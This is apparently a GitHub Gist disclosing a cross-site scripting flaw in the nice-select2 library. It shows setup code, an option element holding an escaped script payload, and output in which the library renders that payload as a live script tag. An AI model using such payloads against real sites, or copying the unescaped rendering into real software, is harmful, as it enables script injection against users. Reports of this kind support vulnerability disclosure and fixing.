Created
July 30, 2025 13:58
-
-
Save OlegChuev/d63ff181f47739280ffa11cf190792bd to your computer and use it in GitHub Desktop.
nice-select2 XSS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Pre-requisites | |
| ```bash | |
| yarn add nice-select2 | |
| ``` | |
| # HTML Element | |
| ```html | |
| <select id="test"> | |
| <option value="123"><script>javascript:alert(1)</script></option> | |
| </select> | |
| ``` | |
| # JS file | |
| ```js | |
| import NiceSelect from 'nice-select2/dist/js/nice-select2.js' | |
| new NiceSelect(document.querySelector('#test'), { searchable: true }) | |
| ``` | |
| # Output | |
| ```html | |
| <div class="nice-select" tabindex="0"> | |
| <span class="current"> | |
| <script>javascript:alert(1)</script> | |
| </span> | |
| <div class="nice-select-dropdown"> | |
| <div class="nice-select-search-box"> | |
| <input type="text" class="nice-select-search" placeholder="Search..." title="search"> | |
| </div> | |
| <ul class="list"> | |
| <li data-value="123" class="option selected null"> | |
| <script>javascript:alert(1)</script> | |
| </li> | |
| </ul> | |
| </div> | |
| </div> | |
| ``` | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment